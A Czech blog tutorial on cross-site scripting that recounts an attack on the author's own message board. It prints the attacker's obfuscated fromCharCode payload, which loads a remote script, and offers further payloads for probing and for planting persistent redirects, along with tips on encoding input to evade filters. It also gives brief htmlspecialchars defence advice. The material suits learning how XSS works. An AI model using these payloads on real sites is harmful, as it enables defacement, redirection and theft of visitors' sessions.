Co to XSS je?
XSS neboli Cross Side Scripting (zkratka XSS se používá proto, aby nedocházelo k záměně s CSS, což jsou kaskádové styly) je zaměřený na ty místa webové aplikace, kam může uživatel vložit svůj zákeřný kód. Nejčastěji tímto místem bývají formuláře (inputy a textarea) a parametry url adresy.
Příklad
Místo zdlouhavého vysvětlování ukáži XSS na příkladu. Chodit nemusím vůbec daleko. Sysel si před několika měsíci pohrál s Názory tady na Stoyan’s Page. Výsledek jeho hacku vypadal tak, že po kliknutí na odkaz Názory jste se nedostali na board, ale sem.
Pojďme si tedy podrobně ukázat, čeho Sysel při svém útoku využil a kde se v Názorech nacházela chyba. Pokud do Názorů chcete vložit příspěvek, vyplníte svůj nick, napíšte text (ochrana proti botům tam v době hacku ještě nebyla) a kliknete na button Odeslat. Váš příspěvek se uloží do databáze, odkud se načte a vy ho vidíte mezi ostatními, všechny pěkně vypsané na stránce. Jelikož v té době jsem už o bezpečnosti něco málo věděl, ošetřoval jsem text vložený to textarea Zprava pomocí php funkce htmlspecialchars. Tato funkce nahradí potenciálně nebezpečné znaky za jejich html entity. Zde je seznam zvláštích znaků a jejich HTML entity:
&
se převede na entitu&
"
se převede na entitu"
'
se převede na entitu'
<
se převede na entitu<
>
se převede na entitu>
Toto nebyla jediná ochrana textu ve zprávě, ale pro příklad do stačí. Input pro nick byl limitovaný patnácti znaky a žádné další ochrany na něm aplikovány nebyly. Prostě jsem byl líný něco měnit a říkal jsem si, že do patnácti znaků se žádný zákeřný kód přece nevleze. Netrvalo dlouho a Sysel mě vyvedl z omylu. Co tedy udělal? Do intuputu nick napsal ‚<script>/*
‚ (bez uvozovek). Do těla zprávy pak toto:
*/document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,115,121,115,101,108,50,48,48,49,46,119,122,46,99,122,47,115,116,111,121,97,110,46,106,115,34,62,60,47,115,99,114,105,112,116,62));/*
JavaScriptová funkce fromCharCode dekóduje řetězec z posloupnosti ASCII kódů na znaky a funkce document.write řetězec vypíše. Po dekódování vypadá string zapsaný do zprávy takto:<script src="https://sysel2001.wz.cz/stoyan.js"></script>
Pokud by Sysel tento string nezákodoval, tag <script> by se díky funkci htmlspecialchars prostě vypsal a se stránkou by se nic nestalo. Jelikož však input s nickem nebyl ochráněný, tag <script> vyvolal začátek kódu s JS skriptem, následoval /* což je začátek komentáře, čili vše, co by ve zdrojovém kódu bylo mezi obsahem inputu Nick a textarea Zprava by bylo uzavřeno v komentáři a výsledné stránce by se nezobrazilo. Na adrese uvedené jako hodnota atributu scr tagu script se již nacházela Syslova stránka (skript), kam proběhlo přesměrování při kliknutí na odkaz Názory. Útok byl vskutku jednoduchý, ale účinný.
Obrana
Nyní byste měli chápat základy útoku typu XSS a také to, jak je nebezpečné nechat neošetřený jakýkoliv vstup od uživatele. A jaké z toho vyplývá ponaučení? KAŽDÝ uživatelský vstup ochraňte php funkcí htmlspecialchars!
Útok
Zjistit, zda je daný web vůči XSS náchylný či ne, je velice jednoduché. Dejme tomu, že url webu bude vypadat nejak takto:
http://www.neco.cz/index.php?promenna1=bla&promenna2=blabla
Zkuste co se stane, pokud url takto upravíte:
http://www.neco.cz/index.php?promenna1=bla&promenna2=<h1>Je tu chyba?</h1>
nebo
http://www.neco.cz/index.php?promenna1=<h1>Je tu chyba?</h1>
Pokud hodnoty proměnných nejsou ošetřeny pomocí htmlspecialchars, uvidíte velkým písmem přes celý web napsáno „Je tu chyba?“. Ano chyba tam je:) Nyní se už fantazii meze nekladou a můžete si zde vyhrát s html, ale hlavně s JavaScriptem. PHP určitě zkoušet nebudete, protože jistě víte, že se jedná o server-side skriptovací jazyk, že ano? Pro inspiraci si ukažme další příklady: (nyní už budu psát pouze vstup)
<script>alert("Je tu chyba?")</script>
Vyhodí dialog se zadaným textem.
<script>window.location.href="http://stoyan.ic.cz"</script>
Přesměruje web na zadanou url
<script src="https://stoyan.ic.cz/skript.js"></script>
Načte JS skript ze zadané adresy. To je výhodné, v případě, že pro zadání uživatelsého vstupu máte omezený počet znaků. Pouze tam hodíte podobný odkaz na váš skript a ten může být již libovolně dlouhý.
Využití XSS nemá pro postižený web tak destruktivní účinky jako jiné formy útoku (např. PHP Injection). Přesto XSS nepodceňujte (viz Syslovo Hacknutí Zive.cz pomocí XSS). Pokud výše uvedeným způsobem pozměníte proměnnou v url, nic se nestane. Jediné využití by bylo přes tento pozměněný parametr napsat něco na web a celý link pak někomu odeslat. Ten, kdo si pak web otevře přes tento odkaz, uvidí to, co jste napsali a může se domnívat, že se jedná o normální součást webu.
Pokud však najdete nechráněný board, návštěvní knihu, forum nebo něco na ten způsob situace se trochu mění. Vaše změna totiž bude uložena do databáze a uvidí ji pak každý příchozí (narozdíl od pozměněného parametru url). Pokud tedy prvek pro vkládání vzkazu není ošetřen a vy vložíte již výše zmiňované <script>window.location.href="http://stoyan.ic.cz"</script>
bude celá stránka trvale přesměrovaná na daný web.
XSS se také výborně hodí při Cookies Stealing.
Někdy se hodí vás vstup převést na ascii hodnoty, tak jako to udělal Sysel v případě útoku na Board. Je to efektní, ale hlavně se to občas hodí k obejití ochran kontrolujících nepovolené znaky. Abyste nemuseli řetězec převádět manuálně, naprogramoval jsem jednoduchý prográmek XSS Coder, který tuto práci odvede za vás.